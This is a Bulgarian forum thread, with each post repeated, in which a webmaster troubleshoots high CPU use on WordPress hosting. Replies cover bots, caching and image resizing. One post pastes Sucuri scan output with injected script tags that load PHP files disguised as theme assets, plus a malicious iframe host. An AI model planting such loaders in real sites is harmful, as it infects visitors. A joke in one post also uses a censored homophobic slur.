CPU Time
- Автор bulram
- Начална дата
MUTI
New member
Re: CPU Time
То като сте го подкарали му обяснете и за ../image.jpg и разните там релативни адреси 🙂
Та за натоварването при мен от месец някъде насам имам проблеми с Bingbot-а. Имам 2 сайта с по 30-50к страници индексирани от Г. и тоя Bingbot като си ги е харесал и направо им спира тока в буквалния смисъл. (да го спират колко да го спират идват от 2к ботове нагоре.)
То като сте го подкарали му обяснете и за ../image.jpg и разните там релативни адреси 🙂
Та за натоварването при мен от месец някъде насам имам проблеми с Bingbot-а. Имам 2 сайта с по 30-50к страници индексирани от Г. и тоя Bingbot като си ги е харесал и направо им спира тока в буквалния смисъл. (да го спират колко да го спират идват от 2к ботове нагоре.)
bobbydigital
New member
Re: CPU Time
Колеги последно само с офтопика и няма да се включвам повече.
@Странникът - виж сега от хостинг компанията са напълно прави.
По този начин извикано, се използва http протокола създавава се http request за да се извика файла съответно, товари хостинга още вендъж
По този начин извикано го извиква локално и не се създава http request
Това целото нещо се случва преди нещо да е стигнало до броузера на клиента.
От друга страна, когато става въпрос за извикване на външен ресурс като снимка, css, js файл във html страницата, това се случва след като страницата е стигнала до броузера на клиента. За всеки един такъв ресурс се създава отделен http request. Така че дали ще зададеш абсолютен и релативен път е без значение за натоварването на хостинг машината, то ще бъде еднакво и в двата случая.
Проблема е че, не правиш разлика межди html и php, client script и server script и кога се изпълняват за това идва и твоето объркване. В по - горният пост не съм целял да се заяждам, а да те накарам да се замислиш, защото така най - добре се научават нещата. Разбира се може да бъдеш дървена глава и да продължаваш да спориш, или да спреш и да помислиш.
поздрави
Колеги последно само с офтопика и няма да се включвам повече.
@Странникът - виж сега от хостинг компанията са напълно прави.
По този начин извикано, се използва http протокола създавава се http request за да се извика файла съответно, товари хостинга още вендъж
Код:
<?php readfile("http://www.sait.com/papka/faile.php"); ?>По този начин извикано го извиква локално и не се създава http request
Код:
<?php readfile("fail-2.php"); ?>Това целото нещо се случва преди нещо да е стигнало до броузера на клиента.
От друга страна, когато става въпрос за извикване на външен ресурс като снимка, css, js файл във html страницата, това се случва след като страницата е стигнала до броузера на клиента. За всеки един такъв ресурс се създава отделен http request. Така че дали ще зададеш абсолютен и релативен път е без значение за натоварването на хостинг машината, то ще бъде еднакво и в двата случая.
Проблема е че, не правиш разлика межди html и php, client script и server script и кога се изпълняват за това идва и твоето объркване. В по - горният пост не съм целял да се заяждам, а да те накарам да се замислиш, защото така най - добре се научават нещата. Разбира се може да бъдеш дървена глава и да продължаваш да спориш, или да спреш и да помислиш.
поздрави
Re: CPU Time
Странникът. Както казах преди това чул си някои неща, но очевидно не си доразбрал. Без да чета цялото писмо на хостинга става ясно за какво иде реч. Хората ти казват да го направиш по този начин именно за да избегнеш брауновото движение да отваряш от локалхост обект през уеб сървъра т.е. този пич bobydigital ти е описал точно това(няма да повтарям).
Като цяло се опитах да ти помогна, но явно не желаш(като гледам всички ти говорят едно и също и може би трябва да се замислиш).
Междо другото в тоя дух да ти споделя един виц(доста забавен е):
На един съдия 5 фена му казали педер@ст, ама въобще не му минало през ума дали е педер@ст.
Обаче на един мач 10 000 фена му казали педер@ст и човека много сериозно се замислил.
Извода е , че може би и ти трябва да се замислиш щом всички ти казват едно и също.
Успех и без лоши чувства 😛
Странникът. Както казах преди това чул си някои неща, но очевидно не си доразбрал. Без да чета цялото писмо на хостинга става ясно за какво иде реч. Хората ти казват да го направиш по този начин именно за да избегнеш брауновото движение да отваряш от локалхост обект през уеб сървъра т.е. този пич bobydigital ти е описал точно това(няма да повтарям).
Като цяло се опитах да ти помогна, но явно не желаш(като гледам всички ти говорят едно и също и може би трябва да се замислиш).
Междо другото в тоя дух да ти споделя един виц(доста забавен е):
На един съдия 5 фена му казали педер@ст, ама въобще не му минало през ума дали е педер@ст.
Обаче на един мач 10 000 фена му казали педер@ст и човека много сериозно се замислил.
Извода е , че може би и ти трябва да се замислиш щом всички ти казват едно и също.
Успех и без лоши чувства 😛
Последно редактирано:
bulram
Senior Member
Re: За: CPU Time
Re: За: CPU Time
Знаеш колко разговори сме провели по този въпрос. Почти 100% сигурен съм, че проблема не е в ботовете - на другият акаунт, на който имам същият брой сайтове, с подобни шаблони, с включени много плъгини, и са налазени мащабно от ботове натоварването е 20-35 минути.
Ето как налазва Bing, Baidu i podobni, но те не оказват такова влияние - цък.
Обърнете внимание и колко пъти е минал бота на Yandex. И въпреки това, на този акаунт имам и фотоблог със около 1200 снимки и 200-300 уникални дневно, пак натоварването е макс. 40мин.
Re: За: CPU Time
Знаеш колко разговори сме провели по този въпрос. Почти 100% сигурен съм, че проблема не е в ботовете - на другият акаунт, на който имам същият брой сайтове, с подобни шаблони, с включени много плъгини, и са налазени мащабно от ботове натоварването е 20-35 минути.
Ето как налазва Bing, Baidu i podobni, но те не оказват такова влияние - цък.
Обърнете внимание и колко пъти е минал бота на Yandex. И въпреки това, на този акаунт имам и фотоблог със около 1200 снимки и 200-300 уникални дневно, пак натоварването е макс. 40мин.
За: Re: За: CPU Time
За: Re: За: CPU Time
Тези картинки са също толкова неадекватни, колкото и модулите които ги генерират. Аз чета логове не гледам каратинки, защото там няма нищо надежно като информация.
За: Re: За: CPU Time
Тези картинки са също толкова неадекватни, колкото и модулите които ги генерират. Аз чета логове не гледам каратинки, защото там няма нищо надежно като информация.
bulram
Senior Member
Re: CPU Time
Приемам всякакви предложения, с никой не се заяждам. Най-лесно ми е да сменя хоста, но това няма да реши проблема. От проблемния акаунт премахнах основният домейн, който правеше около 1000 уникални дневно - артикъл директория, и положението не се промени и с един процент. След това временно спрях и една PHPLD за няколко дни, пак никаква промяна. Смених и шаблоните на WP, никаква промяна. Склонен съм да фантазирам, че имам някой червей.... или някой скрипт който върти някоя простотия някъде.... Но нямам нужните познания да го открия, всичко което ми беше казано от хостинг подръжката съм го изпълнил, сега инсталирах и плъгина на Лазаров.
Приемам всякакви предложения, с никой не се заяждам. Най-лесно ми е да сменя хоста, но това няма да реши проблема. От проблемния акаунт премахнах основният домейн, който правеше около 1000 уникални дневно - артикъл директория, и положението не се промени и с един процент. След това временно спрях и една PHPLD за няколко дни, пак никаква промяна. Смених и шаблоните на WP, никаква промяна. Склонен съм да фантазирам, че имам някой червей.... или някой скрипт който върти някоя простотия някъде.... Но нямам нужните познания да го открия, всичко което ми беше казано от хостинг подръжката съм го изпълнил, сега инсталирах и плъгина на Лазаров.
bulram
Senior Member
Re: CPU Time
Във всяка една от папките намирам файл index.php със съдържание
Това което намерих във интернет е, че това са файлова подготвени за бъдеща промяна права 6-4-4.
Някой има ли опит с подобни ситуации?
Изтрих и няколко файла updater.php с код за 64 битово криптиране, но за съжаление не запазих съдържанието за да го постна.
Във всяка една от папките намирам файл index.php със съдържание
Код:
<?php
// Silence is golden.
?>Някой има ли опит с подобни ситуации?
Изтрих и няколко файла updater.php с код за 64 битово криптиране, но за съжаление не запазих съдържанието за да го постна.
За: CPU Time
За: CPU Time
Файловете, които си цитирал са обичайни за повечето WP теми. Няма нищо нередно в тях. Акаунта на сървъра в САЩ е многократно проверяван за вируси и инжектиран код. Вероятно говорим за различни акаунти. Сега ще ги стерилизирам всичките, ако нещо започне да се държи неадекватно ми пиши на лично или тук. Не прави промени за да не се заступваме и двамата.
За: CPU Time
Файловете, които си цитирал са обичайни за повечето WP теми. Няма нищо нередно в тях. Акаунта на сървъра в САЩ е многократно проверяван за вируси и инжектиран код. Вероятно говорим за различни акаунти. Сега ще ги стерилизирам всичките, ако нещо започне да се държи неадекватно ми пиши на лично или тук. Не прави промени за да не се заступваме и двамата.
Последно редактирано:
bulram
Senior Member
Re: CPU Time
web site: http://insurancegrowth.com
status: Site infected with malware
web site: dietinformation.org
status: Site infected with malware
web site: http://dietmenuplans.org/]Diet Menu Plans | Diet Plans for Weight Loss and Healthy Lifestyle
status: Site infected with malware
web trust: Not Blacklisted
web site: http://insurancegrowth.com
status: Site infected with malware
Код:
Malware found on javascript file:
http://insurancegrowth.com//404javascript.js
Known javascript malware.
Details: http://sucuri.net/malware/entry/MW:RKS:4]Malware entry: MW:RKS:4 | Sucuri Security
<ad> <script type="text/javascript" src="/wp-content/themes/twentyeleven/images/Carousel.php"></script></ad></body>
Description: Code used to insert a malicious javascript into many sites hosted at Rackspace and Mediatemple. This javascript is decoded to load iframes from multiple web sites (eg. [url]http://div.electronicscommission.com/in.cgi?2[/url], etc).web site: dietinformation.org
status: Site infected with malware
Код:
Infection: It infects a javascript file to only load malware to IE users. The following backdoors are being used:
http://sucuri.net/?page=tools&title=blacklist&detail=59848d99216e36195cdb6ddf945bb478]Sucuri - Protect Your Interwebs
http://sucuri.net/?page=tools&title=blacklist&detail=a256e28126fa92d2b26dcc86dcbed379]Sucuri - Protect Your Interwebs
Malware found on javascript file:
http://dietinformation.org/404javascript.js
Known javascript malware.
Details: http://sucuri.net/malware/entry/MW:RKS:4]Malware entry: MW:RKS:4 | Sucuri Security
<centr> <script type="text/javascript" src="/wp-includes/js/tinymce/plugins/media/css/mainmenu.php"></script></centr></body>web site: http://dietmenuplans.org/]Diet Menu Plans | Diet Plans for Weight Loss and Healthy Lifestyle
status: Site infected with malware
web trust: Not Blacklisted
Код:
Malware found on javascript file:
http://dietmenuplans.org//404javascript.js
Known javascript malware.
Details: http://sucuri.net/malware/entry/MW:RKS:4
<tbt> <script type="text/javascript" src="/wp-content/themes/freshnews/functions/js/colorpicker/js/combinedHomepage.php"></script></tbt>bulram
Senior Member
Re: CPU Time
При мен "картинките" ги чете по този начин:
/wp-content/themes/gazette/thumb.php?src=http://universalfinances.com/wp-content/woo_uploads/50-Make_money_online.jpg&h=180&w=250&zc=1&q=90
Това може ли да се приеме за оптимизирано, или трябва да се пипа нещо още по кода /все пак платих $70 за тази тема.../
При мен "картинките" ги чете по този начин:
/wp-content/themes/gazette/thumb.php?src=http://universalfinances.com/wp-content/woo_uploads/50-Make_money_online.jpg&h=180&w=250&zc=1&q=90
Това може ли да се приеме за оптимизирано, или трябва да се пипа нещо още по кода /все пак платих $70 за тази тема.../
bobbydigital
New member
Re: CPU Time
Е това е възможно най - лошият вариант.
bobbydigital
New member
Re: CPU Time
Като най - лесно и безболезнено решение виждам тук в този файл : /wp-content/themes/gazette/thumb.php да пипнеш малко, и ресайзнатите картинки да ги записваш на диска, и при следващото извикване на същата картинка, да подава вече готовата картинка. Така ще ти се намали лоад-а значително.
Алгоритъма е следния само трябва да намериш някой да ти го разпише:
1. идва картинка
2. има ли я ресайзната на диска
3. ако да я прочита и я дава
4. ако не я резайзва, записва я на диска и я дава
след първите извиквания ще стига само до точка 3 и ще скипваш точка 4 която харчи най много процесор.
Като най - лесно и безболезнено решение виждам тук в този файл : /wp-content/themes/gazette/thumb.php да пипнеш малко, и ресайзнатите картинки да ги записваш на диска, и при следващото извикване на същата картинка, да подава вече готовата картинка. Така ще ти се намали лоад-а значително.
Алгоритъма е следния само трябва да намериш някой да ти го разпише:
1. идва картинка
2. има ли я ресайзната на диска
3. ако да я прочита и я дава
4. ако не я резайзва, записва я на диска и я дава
след първите извиквания ще стига само до точка 3 и ще скипваш точка 4 която харчи най много процесор.
scoobydoo
Know you can!
За: CPU Time
За: CPU Time
Я ми кажи в тази папка: /wp-content/woo_uploads/ има ли повече от една версия на всяко изображение? Тоест някои да са с различни размери и имена на края (или началото), но да са на същото изображение. Възможно е да се правят преоразмерени файлове, но просто да не се ползват, аз имам такива случаи. Ако е така, ще е по-лесно.
За: CPU Time
Я ми кажи в тази папка: /wp-content/woo_uploads/ има ли повече от една версия на всяко изображение? Тоест някои да са с различни размери и имена на края (или началото), но да са на същото изображение. Възможно е да се правят преоразмерени файлове, но просто да не се ползват, аз имам такива случаи. Ако е така, ще е по-лесно.
Re: CPU Time
Здравей, аз имах подобен проблем с процесорното време. Решение намерих с помощта на Мартин Лазаров и съпорта на хостинга. А самото решение е като се махнат всички кеширащи плъгини и се остави само 1 - Hyper Cache Extended, който намаля много използваното порецесорно време. Другото нещо което много товари са плъгините за автоматични линкове и подобни публикации, аз ползвах SEO Auto Links & Related Posts. След като го спрях минутите паднаха драстично. Това е от мен, дано съм ти помогнал и успех 🙂
Здравей, аз имах подобен проблем с процесорното време. Решение намерих с помощта на Мартин Лазаров и съпорта на хостинга. А самото решение е като се махнат всички кеширащи плъгини и се остави само 1 - Hyper Cache Extended, който намаля много използваното порецесорно време. Другото нещо което много товари са плъгините за автоматични линкове и подобни публикации, аз ползвах SEO Auto Links & Related Posts. След като го спрях минутите паднаха драстично. Това е от мен, дано съм ти помогнал и успех 🙂